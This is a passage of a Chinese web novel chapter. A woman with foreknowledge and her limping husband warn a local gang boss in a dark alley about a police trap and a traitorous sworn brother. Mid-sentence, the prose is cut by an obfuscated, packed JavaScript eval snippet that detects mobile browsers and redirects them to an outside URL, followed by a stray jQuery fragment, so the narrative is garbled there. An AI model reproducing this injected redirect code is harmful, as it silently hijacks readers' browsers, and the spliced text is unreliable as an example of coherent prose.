雷老三可是县运输队的地下霸主,但根本不是什么最后的大佬,而是被上面大人物推出来的替死鬼。
算算时间,估计就在几天后那场罕见的大雪夜里,他会在城南废木材场的交接中,被最信任的亲信出卖。
当场落网不说,最后还吃了一颗花生米。
梨娇的心脏在胸腔里狂跳,血液微微发热,正在沸腾。
这个雷老三极其讲义气,手里更捏着全县通往省城的物流命脉,如果能在这死距离救他一命,让他欠下天大的人情。
到时候骄阳牌紫云膏就能畅通无阻,这不就把市场全面铺开了吗?
“娇娇吓到了吗?如果不想在这里呆着的话,我们现在先回家吧。”
秦烈略微有些不太高兴,微微探身,想遮住梨娇的眼神,但是他能看出来梨娇眼睛里不是崇拜,是激动。
甚至激动到浑身颤抖。
秦烈伸出手抓住梨娇的胳膊,试图让后者稍微冷静一下。
“不……等下。”梨娇反手死死攥住秦烈的衣袖,因为激动,那双漂亮的杏眼里泛着一股奇异的光彩。
她凑到秦烈的耳边,用只有两人能听见的气音急切的说道:“秦烈,这个人对我们而言特别有用,我之前梦到过他,三天后他会被自己的兄弟出卖顶罪。”
秦烈闻言动作微微一顿。
眼睛微微眯起,他知道自己的妻子身上藏着巨大的秘密,而这个秘密让她现在无比依赖他。
这种被全心全意依靠的感觉,让秦烈那颗病态的心脏得到了极大满足。
“既然娇娇说这个人有用,那么我就帮你去搭线,你想怎么做都可以,我陪着你。”
他嘴角的弧度微微上扬,眼底藏着一丝惊心动魄的冷笑。
他的娇娇好像在想什么厉害的计划。
不过不管梨娇要干什么,哪怕是下地狱,他也绝对是那个站在梨娇身边的人。
梨娇喉咙微微发紧,冲着秦烈露出一个明媚笑容:“有你这句话就够了。”
国营饭店外的侧巷子里,这里光线昏暗,连路灯都舍不得施舍一丝光亮,凛冽的北风卷着碎雪,刀子似的刮过光秃秃的墙头。
雷三爷刚带着几个小弟酒足饭饱的走出来,打火机的火苗还没点燃嘴里的烟,眼前就出现了几个身影。
秦烈拄着那根硬木拐杖,大半个身子隐在深灰色呢子大衣里,虽然瘸着腿,但那浑身散发的气势,让雷三爷下意识摸向了腰间。
“瘸子,借道还是找茬?”雷老三眯起那双带着凶悍眼神的眼睛,吐出一口白烟,语气十分阴冷。
秦烈面无表情,漆黑的眸子淬着令人胆寒的冷意,回想着方才梨娇告诉他的话:“想跟你做笔买卖,送你一条命,你敢不敢接?”
雷老三本来没将秦烈放在眼中,对方这纯正的黑化切口,再加上那一身像是从死人堆里滚出来的煞气,雷老三瞬间来了兴趣。
他抬手挥退了蠢蠢欲动的手下,夹着烟指了指胡同更深处的死角:“有点意思,借一步说话?”
冷风在胡同死角里打着旋儿,一直乖乖躲在秦烈宽大大衣背后的梨娇这才探出半个毛茸茸的脑袋。
她今天穿的本就十分惹眼,看起来像个不谙世事的世家千金大小姐。
雷老三冷不丁瞧见这个娇滴滴的小丫头,愣了一下,眼睛眯起来,眼底带着浓重的打量。
“雷三爷,三天后的半夜西郊废弃砖窑厂那批货你别去接,那是公安设的死局。”
梨娇语速极快,吐字清晰:“还有,出卖你,拿你换前程的人是你最信任的拜把子兄弟,叫张明。”
雷老三脸上的漫不经心,听到这话后,瞬间皲裂。
且不说前面说他要被公安抓住,就光后面这一句,这小丫头当他面咒他死,就足以让雷老三大发雷霆。
他眼中杀机毕露,猛地逼近一步,蒲扇大的巴掌就要朝梨娇抓去:“你这小丫头片子,敢在老子面前挑拨离间,你信不信老子现在就把你舌头给割了!”
他的手还未曾碰到梨娇一点,秦烈手中的拐杖猛地甩开,紧接着一把抓住雷老三
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346163|199527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的手腕。
雷老三只觉得手腕一阵生疼,竟然听到自己的腕骨发出一声不堪重负的脆响。
冷汗瞬间就下来了。
他倒是没想到这个瘸子看起来是凶悍了点,但力气能大成这个样子,出手的狠辣程度更是远超他!
秦烈眼底翻涌着暴戾的杀意,声音阴翳:“你敢动她一下试试?”
梨娇瞬间紧张不已,连忙拍了拍秦烈的手臂,示意他松开,随后目光落在秦烈的腿上。
“你的脚还没有好,现在不要乱动,拐杖怎么能丢了呢?”
话音落下后,梨娇匆匆把拐杖捡起来放在秦烈手里,随后才转头看向雷老三。
“三爷你也别激动,我们就是两个想赚点钱过日子的普通人,你也没见过我们,不相信我们所说的话也很正常。”
“但你可以出去打听一下,前几天我在运输队后墙跟那个公厕旁边卖膏药,恰好听到隔壁院子里有人打电话,提到了砖窑和立功,还有雷三这几个词儿,而且我这段时间在鬼市上卖紫云膏。”
梨娇舔了舔下唇,想着这样的话应该能让雷老三相信。
雷老三眼神还真恍惚了一下,他还真的听说了紫云膏这个事儿,毕竟这是这块地方头一份比其他的冻疮膏还要好用的膏药。
而且他在运输队里面还运送过一些药草,还真就是林放那边收购过来的,而且也听林放提了一嘴这个紫云膏。
“你是说你是这个紫云膏的制作人?”
“那是当然,你可以出去打听一下,不信我们也没关系,反正这话已经给您带到了,那人口口声声说自己是叫张明,再多的消息我确实也不知道了。”
梨娇撒起谎来面不改色,一步步瓦解着对方的心理防线:“三爷您要是不信的话,今晚就可以回去查查,张明最近是不是经常背着你去联防队,或者见了什么穿制服的人,你打听一下不就知道了?”
雷老三揉着发紫的手腕,目光死死的盯着梨娇。
“你再把刚刚你跟我说的地点跟我讲一下。”